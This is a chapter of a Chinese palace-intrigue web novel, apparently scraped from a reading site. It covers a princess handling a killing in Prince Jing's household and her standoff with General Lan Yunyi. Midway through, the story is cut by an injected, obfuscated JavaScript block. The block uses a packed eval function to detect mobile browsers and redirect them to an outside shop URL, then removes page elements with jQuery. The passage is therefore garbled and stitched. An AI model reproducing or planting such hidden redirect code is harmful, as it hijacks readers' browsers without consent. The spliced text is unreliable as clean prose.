靖王妃不明所以地点了点头:“告诉王爷,说我知道了。”
沈瑶却皱了皱眉,不知道是不是她太多心了,竟然从小厮转达的话里听出一丝不一样的气味。
于是她转而对靖王妃道:“本宫已为人妻,赵粉这样娇嫩的品种不适合本宫,再说院里也就那一盆,落在本宫这等不懂花的人手里也是糟践。”
靖王妃道:“那便将那盆洛阳红送给公主吧,大气又好养,我听说宫里的兰贵妃也最爱这洛阳红,想必驸马也喜欢。”
沈瑶:“那就照王妃的意思办。”
说完,那小厮道:“既然如此,小的这就安排人给公主搬花。”
沈瑶顿了顿,说道:“走时再搬也不迟。”
那小厮诡异地沉默了一下,然后道:“……都听公主安排。”
说罢便拱手离开了。
沈瑶深深地看了那人一眼,越想越觉得不对,但或许是因为她对“赵”和“崇”这个两字都太敏感了,一朝被蛇咬,十年怕井绳?
但沈瑶宁肯是自己想多了也绝对不要和赵崇产生一丝一毫的联系。
花看遍,靖王妃再无可以与沈瑶交谈的事,便引沈瑶到了亭子中为沈瑶泡茶。
靖王妃言语不敢冒犯,若是普通的七大姑八大姨恐怕这时候就该谈起结婚后生孩子的事了。沈瑶不想给对方压力,于是象征性地问了一嘴,果然引得靖王妃的眼睛一亮,与沈瑶大谈特谈育儿之道。
可说着说着,靖王妃突然颓然下来,苦笑道:“这些年我也未能给靖王诞下一子,府内人丁不旺,我和王爷的余生便全靠着瓒儿找个好夫家了。”
沈瑶张了张口,她自然相当反对靖王妃这番话,但她最后还是没反驳,顺着她的话继续说道:“到时须得擦亮眼睛,瓒儿性格温顺,定会有个好归宿的。”
就像她之前对澄心说的,她不想做什么先锋,只想顺着时代的洪流做最好的自己。身为公主,她在盛朝拥有的自由和原来世界的她几乎无异,她有资本不安于室,但这并不代表别人拥有和她一样的资源和条件。
每个人都只能慢慢摸索自己的路。
然而听到她说完,靖王妃却笑得更苦涩了。她没说什么,目光涣散地看着眼前的景象,眼神阴鸷。
“啊——!”
突然间,府内东面传来一声女子的尖叫。沈瑶一惊,面前的靖王妃突然站了起来,慌里慌张地看向一旁的侍女:“这是怎么了……我怎么听这个声音,像是瓒儿啊。”
侍女也一脸慌乱不知所措。
沈瑶闻言,急忙放下茶杯转身就走:“那还不去看看。”
几人步履匆匆地往声音传来的方向走去,半路刚巧遇到那个非要来送花的小厮。
小厮满身暗红色的液体和四溅的斑点,看到靖王妃和沈赞后就像是看到了救星般连滚带爬地跑了过来。
他靠近的时候,沈瑶闻见了一股浓郁的铁锈味,也立马明白了这人身上的红色到底是什么东西。
“公主!”夏果惊叫一声。沈瑶眼前一黑,险些站不住脚被夏果搀住才堪堪稳住身形。
靖王妃一时也顾不上沈瑶,抓着那个小厮颤声问道:“发生什么了,你身上……这么多血,哪来的啊!”
小厮拱手,偷瞥了沈瑶一眼道:“兰将军的手下杀了赵副官,我等特来请公主前去,为赵副官断个明白。”
沈瑶定了定神,忍不住问道:“兰将军的手下为何会与赵副官扯上关系。”
那小厮冷淡道:“公主去了就知道了。”
终于来到了沈瓒的院子。
那股浓郁的血腥味呛得沈瑶想吐,到了院门口的时候,沈瑶有些惶惧地抓住了夏果的手,然后轻轻咽了口唾沫。
沈瓒的哭声惊天动地,靖王妃早就先她一步跨进了院子,抱着女儿也跟着痛哭流涕起来。院中剩下三人,分别是靖王、兰云意和跪着的阿沅。
沈瑶刻意让自己不去看院中猩红的那一片,她死死盯着兰云意的脸,却见对方满面春风。
靖王见到沈瑶后,跑过来大喊道:“公主,您可要为我做主啊!”
兰云意没说话,靖王继续大喊道:“赵副官向来安分守己,循规蹈矩,可这凶残无道的奸人却当着我女儿的面杀了我最亲信之人!”
靖王话音一落,一旁沈瓒的哭声变得更加撕心裂肺。
沈瑶忍不住看去,却发现对方怨毒的目光正投向阿沅。
阿沅一脸平静道:“小的途径郡主院子,见那人意图对郡主不轨,所以先下手为强。”
“胡说八道,杀我亲信,还要败坏我女儿的名声!”靖王突然看向沈瑶,老泪纵横,“公主,赵崇这些年为我王府上下贡献颇多,于我而言如同亲子一般,您可定要为我做主啊。”
“阿沅是不小心。”兰云意在一旁解释道。
不同人各有各的道理,又让沈瑶想起自己当年和董事会斡旋时的场景。
她知道赵崇对于靖王而言根本无关紧要,如果不是沈瑶当初喜欢,靖王绝不会把他安排在公主身边日日让他陪着公主。
而兰云意,他今天恰好找到了一个合适的借口能铲除沈瑶身上的这个污点,何乐不为。
说白了,赵崇今天会死,原因有一部分出在沈瑶身上。
想到这儿,沈瑶莫名有些想吐。
即便知道赵崇不是什么好东西,但沈瑶也没想过让对方就这么不明不白地失去生命。
而靖王胆敢为难公主都不敢为难兰云意,手握重兵的兰将军也确实是有恃无恐。
“你昨日便在灵山寺撒野,今日又在靖王府为所欲为,本宫当真是管不住你。”沈瑶看向兰云意,甩出一句不轻不重的斥责。
兰云意笑笑。
沈瑶内心翻江倒海,她知道兰云意也有意试探她,所以无论当下的沈瑶有什么意见,她都必须站在兰云意的一方出言袒护,否则就视为敌党,沈瑶的下场马上就会和赵崇一样。
靖王喝道:“以命偿命!”
听罢这话,兰云意突然又笑了一声,说道:“靖王大人,既然要‘以命偿命’,那还请公主决断什么。不早就扯平了吗?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16707340|189193||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>靖王突然噤声,不知想到了什么脸色突然变得有些苍白。
“兰将军这话什么意思……”靖王嗫嚅道,“兰将军管不住手下就罢了,还想讹人不成?!”
在沈瑶的价值体系里,也的确是该以命偿命,所以她没法像兰云意这些人一样,面对逝者还如此冷静地分析。
她也不知道靖王想与兰云意争论些什么,不过总归两方都居心不良,沈瑶想了半天,最后还是决定先保全自己的小命。
沈瑶道:“人命关天,本宫也决断不了,不如报官。”
靖王瞪大眼睛看向沈瑶:“若是报官,那瓒儿的名声可就毁了!”
兰云意说道:“正是阿沅及时出手相救,这才保全了小郡主的清白不是。”
靖王对兰云意的话置之不理,死死瞪着沈瑶,道:“公主难道真要弃我们的血脉亲情不顾,由着驸马为非作歹?”
沈瑶漠然道:“本宫一介女流,又一心向佛,如何决断得清这世俗纷争?非要本宫决断,但愿靖王以德报怨放下仇恨,毕竟仇仇相报何时了。”
“那总要给死去的赵副官一个交代!”靖王怒吼道。
沈瑶:“靖王既然不服西凉府衙,那不如将此事交予我父皇决断?”
靖王喊道:“那便交予盛帝,既然公主偏袒驸马,那就请陛下为我讨回公道!”
沈瑶眯了眯眼睛。
她不想多想,但是靖王在这件事上恃无恐的态度让她觉得皇帝私下可能给了他监视沈瑶的任务。
沈瑶绝不可能放任他在皇帝面前胡说八道。
“靖王自可上书,将此事闹得朝廷人尽皆知。”沈瑶道,“但叔叔可要想清楚,事情一旦闹大,帝京人怎么编排此事,我等可就管不着了。”
靖王猛地愣住,另一旁的兰云意忍不住嗤笑了一声。
事情真的闹大,才没人在乎真相。大家的终点只会放在靖王独女被靖王手下的一个副官骚扰了这件事上。至于阿沅是不是路见不平,是不是“及时”救下了郡主,又该不该以命偿命,这些事全都无所谓。
靖王独女成了帝京人茶余饭后的谈资,如此一来,靖王夫妇想要将女儿嫁入帝京的愿望会瞬间灰飞烟灭。
兰云意接茬道:“到时候,若事情真的闹大,只能委屈郡主下嫁阿沅以证清白了。”
“不行!”靖王妃突然喊道,“王爷,我儿名声事大,赵崇死不足惜啊!”
靖王终于傻了眼,呆呆地看着沈瑶。
沈瑶对着满室的血腥味和一旁沈瓒的哭声,实在是笑不出来。
就算兰云意的简单粗暴帮她一下子解决了一个心腹大患,她也没觉得心情很轻松。
“本宫乏了。”沈瑶叹了口气,带着夏果转身离开。
出了靖王府的大门,那股血腥味还是缭绕不绝。沈瑶头晕目眩,视物都有一层血雾蒙在眼前似的。
等要上马车时,沈瑶突然一个不稳向后倒去,紧接着落入一个带着淡淡梨花香的怀抱之中。不等她有多余的反应,兰云意便抱着她的肩膀将人送进了马车之中。